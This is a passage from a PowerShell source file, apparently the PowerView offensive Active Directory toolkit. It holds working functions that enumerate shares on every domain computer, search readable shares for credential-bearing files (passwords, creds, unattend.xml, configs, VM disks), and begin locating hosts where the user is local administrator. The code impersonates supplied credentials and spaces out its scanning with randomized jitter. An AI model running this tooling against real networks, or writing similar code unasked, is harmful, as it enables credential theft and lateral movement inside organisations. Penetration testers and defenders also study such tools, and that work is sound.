  18044                     return
  18045                 }
  18046             }
  18047         }
  18048         else {
  18049             Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads"
  18050 
  18051             # if we're using threading, kick off the script block with New-ThreadedFunction
  18052             $ScriptParams = @{
  18053                 'StartTime' = $StartTime
  18054                 'EndTime' = $EndTime
  18055                 'MaxEvents' = $MaxEvents
  18056                 'TargetUsers' = $TargetUsers
  18057                 'Filter' = $Filter
  18058                 'Credential' = $Credential
  18059             }
  18060 
  18061             # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
  18062             New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
  18063         }
  18064     }
  18065 }
  18066 
  18067 
  18068 function Find-DomainShare {
  18069 <#
  18070 .SYNOPSIS
  18071 
  18072 Searches for computer shares on the domain. If -CheckShareAccess is passed,
  18073 then only shares the current user has read access to are returned.
  18074 
  18075 Author: Will Schroeder (@harmj0y)  
  18076 License: BSD 3-Clause  
  18077 Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction  
  18078 
  18079 .DESCRIPTION
  18080 
  18081 This function enumerates all machines on the current (or specified) domain
  18082 using Get-DomainComputer, and enumerates the available shares for each
  18083 machine with Get-NetShare. If -CheckShareAccess is passed, then
  18084 [IO.Directory]::GetFiles() is used to check if the current user has read
  18085 access to the given share. If -Credential is passed, then
  18086 Invoke-UserImpersonation is used to impersonate the specified user before
  18087 enumeration, reverting after with Invoke-RevertToSelf.
  18088 
  18089 .PARAMETER ComputerName
  18090 
  18091 Specifies an array of one or more hosts to enumerate, passable on the pipeline.
  18092 If -ComputerName is not passed, the default behavior is to enumerate all machines
  18093 in the domain returned by Get-DomainComputer.
  18094 
  18095 .PARAMETER ComputerDomain
  18096 
  18097 Specifies the domain to query for computers, defaults to the current domain.
  18098 
  18099 .PARAMETER ComputerLDAPFilter
  18100 
  18101 Specifies an LDAP query string that is used to search for computer objects.
  18102 
  18103 .PARAMETER ComputerSearchBase
  18104 
  18105 Specifies the LDAP source to search through for computers,
  18106 e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
  18107 
  18108 .PARAMETER ComputerOperatingSystem
  18109 
  18110 Search computers with a specific operating system, wildcards accepted.
  18111 
  18112 .PARAMETER ComputerServicePack
  18113 
  18114 Search computers with a specific service pack, wildcards accepted.
  18115 
  18116 .PARAMETER ComputerSiteName
  18117 
  18118 Search computers in the specific AD Site name, wildcards accepted.
  18119 
  18120 .PARAMETER CheckShareAccess
  18121 
  18122 Switch. Only display found shares that the local user has access to.
  18123 
  18124 .PARAMETER Server
  18125 
  18126 Specifies an Active Directory server (domain controller) to bind to.
  18127 
  18128 .PARAMETER SearchScope
  18129 
  18130 Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
  18131 
  18132 .PARAMETER ResultPageSize
  18133 
  18134 Specifies the PageSize to set for the LDAP searcher object.
  18135 
  18136 .PARAMETER ServerTimeLimit
  18137 
  18138 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  18139 
  18140 .PARAMETER Tombstone
  18141 
  18142 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  18143 
  18144 .PARAMETER Credential
  18145 
  18146 A [Management.Automation.PSCredential] object of alternate credentials
  18147 for connection to the target domain and target systems.
  18148 
  18149 .PARAMETER Delay
  18150 
  18151 Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
  18152 
  18153 .PARAMETER Jitter
  18154 
  18155 Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
  18156 
  18157 .PARAMETER Threads
  18158 
  18159 The number of threads to use for user searching, defaults to 20.
  18160 
  18161 .EXAMPLE
  18162 
  18163 Find-DomainShare
  18164 
  18165 Find all domain shares in the current domain.
  18166 
  18167 .EXAMPLE
  18168 
  18169 Find-DomainShare -CheckShareAccess
  18170 
  18171 Find all domain shares in the current domain that the current user has
  18172 read access to.
  18173 
  18174 .EXAMPLE
  18175 
  18176 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  18177 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  18178 Find-DomainShare -Domain testlab.local -Credential $Cred
  18179 
  18180 Searches for domain shares in the testlab.local domain using the specified alternate credentials.
  18181 
  18182 .OUTPUTS
  18183 
  18184 PowerView.ShareInfo
  18185 #>
  18186 
  18187     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  18188     [OutputType('PowerView.ShareInfo')]
  18189     Param(
  18190         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  18191         [Alias('DNSHostName')]
  18192         [String[]]
  18193         $ComputerName,
  18194 
  18195         [ValidateNotNullOrEmpty()]
  18196         [Alias('Domain')]
  18197         [String]
  18198         $ComputerDomain,
  18199 
  18200         [ValidateNotNullOrEmpty()]
  18201         [String]
  18202         $ComputerLDAPFilter,
  18203 
  18204         [ValidateNotNullOrEmpty()]
  18205         [String]
  18206         $ComputerSearchBase,
  18207 
  18208         [ValidateNotNullOrEmpty()]
  18209         [Alias('OperatingSystem')]
  18210         [String]
  18211         $ComputerOperatingSystem,
  18212 
  18213         [ValidateNotNullOrEmpty()]
  18214         [Alias('ServicePack')]
  18215         [String]
  18216         $ComputerServicePack,
  18217 
  18218         [ValidateNotNullOrEmpty()]
  18219         [Alias('SiteName')]
  18220         [String]
  18221         $ComputerSiteName,
  18222 
  18223         [Alias('CheckAccess')]
  18224         [Switch]
  18225         $CheckShareAccess,
  18226 
  18227         [ValidateNotNullOrEmpty()]
  18228         [Alias('DomainController')]
  18229         [String]
  18230         $Server,
  18231 
  18232         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  18233         [String]
  18234         $SearchScope = 'Subtree',
  18235 
  18236         [ValidateRange(1, 10000)]
  18237         [Int]
  18238         $ResultPageSize = 200,
  18239 
  18240         [ValidateRange(1, 10000)]
  18241         [Int]
  18242         $ServerTimeLimit,
  18243 
  18244         [Switch]
  18245         $Tombstone,
  18246 
  18247         [Management.Automation.PSCredential]
  18248         [Management.Automation.CredentialAttribute()]
  18249         $Credential = [Management.Automation.PSCredential]::Empty,
  18250 
  18251         [ValidateRange(1, 10000)]
  18252         [Int]
  18253         $Delay = 0,
  18254 
  18255         [ValidateRange(0.0, 1.0)]
  18256         [Double]
  18257         $Jitter = .3,
  18258 
  18259         [Int]
  18260         [ValidateRange(1, 100)]
  18261         $Threads = 20
  18262     )
  18263 
  18264     BEGIN {
  18265 
  18266         $ComputerSearcherArguments = @{
  18267             'Properties' = 'dnshostname'
  18268         }
  18269         if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
  18270         if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
  18271         if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
  18272         if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
  18273         if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
  18274         if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
  18275         if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
  18276         if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
  18277         if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
  18278         if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
  18279         if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  18280         if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
  18281         if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
  18282 
  18283         if ($PSBoundParameters['ComputerName']) {
  18284             $TargetComputers = $ComputerName
  18285         }
  18286         else {
  18287             Write-Verbose '[Find-DomainShare] Querying computers in the domain'
  18288             $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
  18289         }
  18290         Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)"
  18291         if ($TargetComputers.Length -eq 0) {
  18292             throw '[Find-DomainShare] No hosts found to enumerate'
  18293         }
  18294 
  18295         # the host enumeration block we're using to enumerate all servers
  18296         $HostEnumBlock = {
  18297             Param($ComputerName, $CheckShareAccess, $TokenHandle)
  18298 
  18299             if ($TokenHandle) {
  18300                 # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
  18301                 $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
  18302             }
  18303 
  18304             ForEach ($TargetComputer in $ComputerName) {
  18305                 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
  18306                 if ($Up) {
  18307                     # get the shares for this host and check what we find
  18308                     $Shares = Get-NetShare -ComputerName $TargetComputer
  18309                     ForEach ($Share in $Shares) {
  18310                         $ShareName = $Share.Name
  18311                         # $Remark = $Share.Remark
  18312                         $Path = '\\'+$TargetComputer+'\'+$ShareName
  18313 
  18314                         if (($ShareName) -and ($ShareName.trim() -ne '')) {
  18315                             # see if we want to check access to this share
  18316                             if ($CheckShareAccess) {
  18317                                 # check if the user has access to this path
  18318                                 try {
  18319                                     $Null = [IO.Directory]::GetFiles($Path)
  18320                                     $Share
  18321                                 }
  18322                                 catch {
  18323                                     Write-Verbose "Error accessing share path $Path : $_"
  18324                                 }
  18325                             }
  18326                             else {
  18327                                 $Share
  18328                             }
  18329                         }
  18330                     }
  18331                 }
  18332             }
  18333 
  18334             if ($TokenHandle) {
  18335                 Invoke-RevertToSelf
  18336             }
  18337         }
  18338 
  18339         $LogonToken = $Null
  18340         if ($PSBoundParameters['Credential']) {
  18341             if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
  18342                 $LogonToken = Invoke-UserImpersonation -Credential $Credential
  18343             }
  18344             else {
  18345                 $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
  18346             }
  18347         }
  18348     }
  18349 
  18350     PROCESS {
  18351         # only ignore threading if -Delay is passed
  18352         if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
  18353 
  18354             Write-Verbose "[Find-DomainShare] Total number of hosts: $($TargetComputers.count)"
  18355             Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter"
  18356             $Counter = 0
  18357             $RandNo = New-Object System.Random
  18358 
  18359             ForEach ($TargetComputer in $TargetComputers) {
  18360                 $Counter = $Counter + 1
  18361 
  18362                 # sleep for our semi-randomized interval
  18363                 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
  18364 
  18365                 Write-Verbose "[Find-DomainShare] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
  18366                 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckShareAccess, $LogonToken
  18367             }
  18368         }
  18369         else {
  18370             Write-Verbose "[Find-DomainShare] Using threading with threads: $Threads"
  18371 
  18372             # if we're using threading, kick off the script block with New-ThreadedFunction
  18373             $ScriptParams = @{
  18374                 'CheckShareAccess' = $CheckShareAccess
  18375                 'TokenHandle' = $LogonToken
  18376             }
  18377 
  18378             # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
  18379             New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
  18380         }
  18381     }
  18382 
  18383     END {
  18384         if ($LogonToken) {
  18385             Invoke-RevertToSelf -TokenHandle $LogonToken
  18386         }
  18387     }
  18388 }
  18389 
  18390 
  18391 function Find-InterestingDomainShareFile {
  18392 <#
  18393 .SYNOPSIS
  18394 
  18395 Searches for files matching specific criteria on readable shares
  18396 in the domain.
  18397 
  18398 Author: Will Schroeder (@harmj0y)  
  18399 License: BSD 3-Clause  
  18400 Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction  
  18401 
  18402 .DESCRIPTION
  18403 
  18404 This function enumerates all machines on the current (or specified) domain
  18405 using Get-DomainComputer, and enumerates the available shares for each
  18406 machine with Get-NetShare. It will then use Find-InterestingFile on each
  18407 readhable share, searching for files marching specific criteria. If -Credential
  18408 is passed, then Invoke-UserImpersonation is used to impersonate the specified
  18409 user before enumeration, reverting after with Invoke-RevertToSelf.
  18410 
  18411 .PARAMETER ComputerName
  18412 
  18413 Specifies an array of one or more hosts to enumerate, passable on the pipeline.
  18414 If -ComputerName is not passed, the default behavior is to enumerate all machines
  18415 in the domain returned by Get-DomainComputer.
  18416 
  18417 .PARAMETER ComputerDomain
  18418 
  18419 Specifies the domain to query for computers, defaults to the current domain.
  18420 
  18421 .PARAMETER ComputerLDAPFilter
  18422 
  18423 Specifies an LDAP query string that is used to search for computer objects.
  18424 
  18425 .PARAMETER ComputerSearchBase
  18426 
  18427 Specifies the LDAP source to search through for computers,
  18428 e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
  18429 
  18430 .PARAMETER ComputerOperatingSystem
  18431 
  18432 Search computers with a specific operating system, wildcards accepted.
  18433 
  18434 .PARAMETER ComputerServicePack
  18435 
  18436 Search computers with a specific service pack, wildcards accepted.
  18437 
  18438 .PARAMETER ComputerSiteName
  18439 
  18440 Search computers in the specific AD Site name, wildcards accepted.
  18441 
  18442 .PARAMETER Include
  18443 
  18444 Only return files/folders that match the specified array of strings,
  18445 i.e. @(*.doc*, *.xls*, *.ppt*)
  18446 
  18447 .PARAMETER SharePath
  18448 
  18449 Specifies one or more specific share paths to search, in the form \\COMPUTER\Share
  18450 
  18451 .PARAMETER ExcludedShares
  18452 
  18453 Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$.
  18454 
  18455 .PARAMETER LastAccessTime
  18456 
  18457 Only return files with a LastAccessTime greater than this date value.
  18458 
  18459 .PARAMETER LastWriteTime
  18460 
  18461 Only return files with a LastWriteTime greater than this date value.
  18462 
  18463 .PARAMETER CreationTime
  18464 
  18465 Only return files with a CreationTime greater than this date value.
  18466 
  18467 .PARAMETER OfficeDocs
  18468 
  18469 Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
  18470 
  18471 .PARAMETER FreshEXEs
  18472 
  18473 Switch. Find .EXEs accessed within the last 7 days.
  18474 
  18475 .PARAMETER Server
  18476 
  18477 Specifies an Active Directory server (domain controller) to bind to.
  18478 
  18479 .PARAMETER SearchScope
  18480 
  18481 Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
  18482 
  18483 .PARAMETER ResultPageSize
  18484 
  18485 Specifies the PageSize to set for the LDAP searcher object.
  18486 
  18487 .PARAMETER ServerTimeLimit
  18488 
  18489 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  18490 
  18491 .PARAMETER Tombstone
  18492 
  18493 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  18494 
  18495 .PARAMETER Credential
  18496 
  18497 A [Management.Automation.PSCredential] object of alternate credentials
  18498 for connection to the target domain and target systems.
  18499 
  18500 .PARAMETER Delay
  18501 
  18502 Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
  18503 
  18504 .PARAMETER Jitter
  18505 
  18506 Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
  18507 
  18508 .PARAMETER Threads
  18509 
  18510 The number of threads to use for user searching, defaults to 20.
  18511 
  18512 .EXAMPLE
  18513 
  18514 Find-InterestingDomainShareFile
  18515 
  18516 Finds 'interesting' files on the current domain.
  18517 
  18518 .EXAMPLE
  18519 
  18520 Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local')
  18521 
  18522 Finds 'interesting' files on readable shares on the specified systems.
  18523 
  18524 .EXAMPLE
  18525 
  18526 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  18527 $Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword)
  18528 Find-DomainShare -Domain testlab.local -Credential $Cred
  18529 
  18530 Searches interesting files in the testlab.local domain using the specified alternate credentials.
  18531 
  18532 .OUTPUTS
  18533 
  18534 PowerView.FoundFile
  18535 #>
  18536 
  18537     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  18538     [OutputType('PowerView.FoundFile')]
  18539     [CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
  18540     Param(
  18541         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  18542         [Alias('DNSHostName')]
  18543         [String[]]
  18544         $ComputerName,
  18545 
  18546         [ValidateNotNullOrEmpty()]
  18547         [String]
  18548         $ComputerDomain,
  18549 
  18550         [ValidateNotNullOrEmpty()]
  18551         [String]
  18552         $ComputerLDAPFilter,
  18553 
  18554         [ValidateNotNullOrEmpty()]
  18555         [String]
  18556         $ComputerSearchBase,
  18557 
  18558         [ValidateNotNullOrEmpty()]
  18559         [Alias('OperatingSystem')]
  18560         [String]
  18561         $ComputerOperatingSystem,
  18562 
  18563         [ValidateNotNullOrEmpty()]
  18564         [Alias('ServicePack')]
  18565         [String]
  18566         $ComputerServicePack,
  18567 
  18568         [ValidateNotNullOrEmpty()]
  18569         [Alias('SiteName')]
  18570         [String]
  18571         $ComputerSiteName,
  18572 
  18573         [Parameter(ParameterSetName = 'FileSpecification')]
  18574         [ValidateNotNullOrEmpty()]
  18575         [Alias('SearchTerms', 'Terms')]
  18576         [String[]]
  18577         $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'),
  18578 
  18579         [ValidateNotNullOrEmpty()]
  18580         [ValidatePattern('\\\\')]
  18581         [Alias('Share')]
  18582         [String[]]
  18583         $SharePath,
  18584 
  18585         [String[]]
  18586         $ExcludedShares = @('C$', 'Admin$', 'Print$', 'IPC$'),
  18587 
  18588         [Parameter(ParameterSetName = 'FileSpecification')]
  18589         [ValidateNotNullOrEmpty()]
  18590         [DateTime]
  18591         $LastAccessTime,
  18592 
  18593         [Parameter(ParameterSetName = 'FileSpecification')]
  18594         [ValidateNotNullOrEmpty()]
  18595         [DateTime]
  18596         $LastWriteTime,
  18597 
  18598         [Parameter(ParameterSetName = 'FileSpecification')]
  18599         [ValidateNotNullOrEmpty()]
  18600         [DateTime]
  18601         $CreationTime,
  18602 
  18603         [Parameter(ParameterSetName = 'OfficeDocs')]
  18604         [Switch]
  18605         $OfficeDocs,
  18606 
  18607         [Parameter(ParameterSetName = 'FreshEXEs')]
  18608         [Switch]
  18609         $FreshEXEs,
  18610 
  18611         [ValidateNotNullOrEmpty()]
  18612         [Alias('DomainController')]
  18613         [String]
  18614         $Server,
  18615 
  18616         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  18617         [String]
  18618         $SearchScope = 'Subtree',
  18619 
  18620         [ValidateRange(1, 10000)]
  18621         [Int]
  18622         $ResultPageSize = 200,
  18623 
  18624         [ValidateRange(1, 10000)]
  18625         [Int]
  18626         $ServerTimeLimit,
  18627 
  18628         [Switch]
  18629         $Tombstone,
  18630 
  18631         [Management.Automation.PSCredential]
  18632         [Management.Automation.CredentialAttribute()]
  18633         $Credential = [Management.Automation.PSCredential]::Empty,
  18634 
  18635         [ValidateRange(1, 10000)]
  18636         [Int]
  18637         $Delay = 0,
  18638 
  18639         [ValidateRange(0.0, 1.0)]
  18640         [Double]
  18641         $Jitter = .3,
  18642 
  18643         [Int]
  18644         [ValidateRange(1, 100)]
  18645         $Threads = 20
  18646     )
  18647 
  18648     BEGIN {
  18649         $ComputerSearcherArguments = @{
  18650             'Properties' = 'dnshostname'
  18651         }
  18652         if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
  18653         if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
  18654         if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
  18655         if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
  18656         if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
  18657         if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
  18658         if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
  18659         if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
  18660         if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
  18661         if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  18662         if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
  18663         if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
  18664 
  18665         if ($PSBoundParameters['ComputerName']) {
  18666             $TargetComputers = $ComputerName
  18667         }
  18668         else {
  18669             Write-Verbose '[Find-InterestingDomainShareFile] Querying computers in the domain'
  18670             $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
  18671         }
  18672         Write-Verbose "[Find-InterestingDomainShareFile] TargetComputers length: $($TargetComputers.Length)"
  18673         if ($TargetComputers.Length -eq 0) {
  18674             throw '[Find-InterestingDomainShareFile] No hosts found to enumerate'
  18675         }
  18676 
  18677         # the host enumeration block we're using to enumerate all servers
  18678         $HostEnumBlock = {
  18679             Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $TokenHandle)
  18680 
  18681             if ($TokenHandle) {
  18682                 # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
  18683                 $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
  18684             }
  18685 
  18686             ForEach ($TargetComputer in $ComputerName) {
  18687 
  18688                 $SearchShares = @()
  18689                 if ($TargetComputer.StartsWith('\\')) {
  18690                     # if a share is passed as the server
  18691                     $SearchShares += $TargetComputer
  18692                 }
  18693                 else {
  18694                     $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
  18695                     if ($Up) {
  18696                         # get the shares for this host and display what we find
  18697                         $Shares = Get-NetShare -ComputerName $TargetComputer
  18698                         ForEach ($Share in $Shares) {
  18699                             $ShareName = $Share.Name
  18700                             $Path = '\\'+$TargetComputer+'\'+$ShareName
  18701                             # make sure we get a real share name back
  18702                             if (($ShareName) -and ($ShareName.Trim() -ne '')) {
  18703                                 # skip this share if it's in the exclude list
  18704                                 if ($ExcludedShares -NotContains $ShareName) {
  18705                                     # check if the user has access to this path
  18706                                     try {
  18707                                         $Null = [IO.Directory]::GetFiles($Path)
  18708                                         $SearchShares += $Path
  18709                                     }
  18710                                     catch {
  18711                                         Write-Verbose "[!] No access to $Path"
  18712                                     }
  18713                                 }
  18714                             }
  18715                         }
  18716                     }
  18717                 }
  18718 
  18719                 ForEach ($Share in $SearchShares) {
  18720                     Write-Verbose "Searching share: $Share"
  18721                     $SearchArgs = @{
  18722                         'Path' = $Share
  18723                         'Include' = $Include
  18724                     }
  18725                     if ($OfficeDocs) {
  18726                         $SearchArgs['OfficeDocs'] = $OfficeDocs
  18727                     }
  18728                     if ($FreshEXEs) {
  18729                         $SearchArgs['FreshEXEs'] = $FreshEXEs
  18730                     }
  18731                     if ($LastAccessTime) {
  18732                         $SearchArgs['LastAccessTime'] = $LastAccessTime
  18733                     }
  18734                     if ($LastWriteTime) {
  18735                         $SearchArgs['LastWriteTime'] = $LastWriteTime
  18736                     }
  18737                     if ($CreationTime) {
  18738                         $SearchArgs['CreationTime'] = $CreationTime
  18739                     }
  18740                     if ($CheckWriteAccess) {
  18741                         $SearchArgs['CheckWriteAccess'] = $CheckWriteAccess
  18742                     }
  18743                     Find-InterestingFile @SearchArgs
  18744                 }
  18745             }
  18746 
  18747             if ($TokenHandle) {
  18748                 Invoke-RevertToSelf
  18749             }
  18750         }
  18751 
  18752         $LogonToken = $Null
  18753         if ($PSBoundParameters['Credential']) {
  18754             if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
  18755                 $LogonToken = Invoke-UserImpersonation -Credential $Credential
  18756             }
  18757             else {
  18758                 $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
  18759             }
  18760         }
  18761     }
  18762 
  18763     PROCESS {
  18764         # only ignore threading if -Delay is passed
  18765         if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
  18766 
  18767             Write-Verbose "[Find-InterestingDomainShareFile] Total number of hosts: $($TargetComputers.count)"
  18768             Write-Verbose "[Find-InterestingDomainShareFile] Delay: $Delay, Jitter: $Jitter"
  18769             $Counter = 0
  18770             $RandNo = New-Object System.Random
  18771 
  18772             ForEach ($TargetComputer in $TargetComputers) {
  18773                 $Counter = $Counter + 1
  18774 
  18775                 # sleep for our semi-randomized interval
  18776                 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
  18777 
  18778                 Write-Verbose "[Find-InterestingDomainShareFile] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
  18779                 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $LogonToken
  18780             }
  18781         }
  18782         else {
  18783             Write-Verbose "[Find-InterestingDomainShareFile] Using threading with threads: $Threads"
  18784 
  18785             # if we're using threading, kick off the script block with New-ThreadedFunction
  18786             $ScriptParams = @{
  18787                 'Include' = $Include
  18788                 'ExcludedShares' = $ExcludedShares
  18789                 'OfficeDocs' = $OfficeDocs
  18790                 'ExcludeHidden' = $ExcludeHidden
  18791                 'FreshEXEs' = $FreshEXEs
  18792                 'CheckWriteAccess' = $CheckWriteAccess
  18793                 'TokenHandle' = $LogonToken
  18794             }
  18795 
  18796             # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
  18797             New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
  18798         }
  18799     }
  18800 
  18801     END {
  18802         if ($LogonToken) {
  18803             Invoke-RevertToSelf -TokenHandle $LogonToken
  18804         }
  18805     }
  18806 }
  18807 
  18808 
  18809 function Find-LocalAdminAccess {
  18810 <#
  18811 .SYNOPSIS
  18812 
  18813 Finds machines on the local domain where the current user has local administrator access.
  18814 
  18815 Author: Will Schroeder (@harmj0y)  
  18816 License: BSD 3-Clause  
  18817 Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction  
  18818 
  18819 .DESCRIPTION
  18820 
  18821 This function enumerates all machines on the current (or specified) domain
  18822 using Get-DomainComputer, and for each computer it checks if the current user
  18823 has local administrator access using Test-AdminAccess. If -Credential is passed,
  18824 then Invoke-UserImpersonation is used to impersonate the specified user
  18825 before enumeration, reverting after with Invoke-RevertToSelf.
  18826 
  18827 Idea adapted from the local_admin_search_enum post module in Metasploit written by:
  18828     'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
  18829     'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
  18830     'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
  18831 
  18832 .PARAMETER ComputerName
  18833 
  18834 Specifies an array of one or more hosts to enumerate, passable on the pipeline.
  18835 If -ComputerName is not passed, the default behavior is to enumerate all machines
  18836 in the domain returned by Get-DomainComputer.
  18837 
  18838 .PARAMETER ComputerDomain
  18839 
  18840 Specifies the domain to query for computers, defaults to the current domain.
  18841 
  18842 .PARAMETER ComputerLDAPFilter
  18843 
  18844 Specifies an LDAP query string that is used to search for computer objects.
  18845 
  18846 .PARAMETER ComputerSearchBase
  18847 
  18848 Specifies the LDAP source to search through for computers,
  18849 e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
  18850 
  18851 .PARAMETER ComputerOperatingSystem
  18852 
  18853 Search computers with a specific operating system, wildcards accepted.
  18854 
  18855 .PARAMETER ComputerServicePack
  18856 
  18857 Search computers with a specific service pack, wildcards accepted.
  18858 
  18859 .PARAMETER ComputerSiteName
  18860 
  18861 Search computers in the specific AD Site name, wildcards accepted.
  18862 
  18863 .PARAMETER CheckShareAccess
  18864 
  18865 Switch. Only display found shares that the local user has access to.
  18866 
  18867 .PARAMETER Server
  18868 
  18869 Specifies an Active Directory server (domain controller) to bind to.
  18870 
  18871 .PARAMETER SearchScope
  18872 
  18873 Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
  18874 
  18875 .PARAMETER ResultPageSize
  18876 
  18877 Specifies the PageSize to set for the LDAP searcher object.
  18878 
  18879 .PARAMETER ServerTimeLimit
  18880 
  18881 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  18882 
  18883 .PARAMETER Tombstone
  18884 
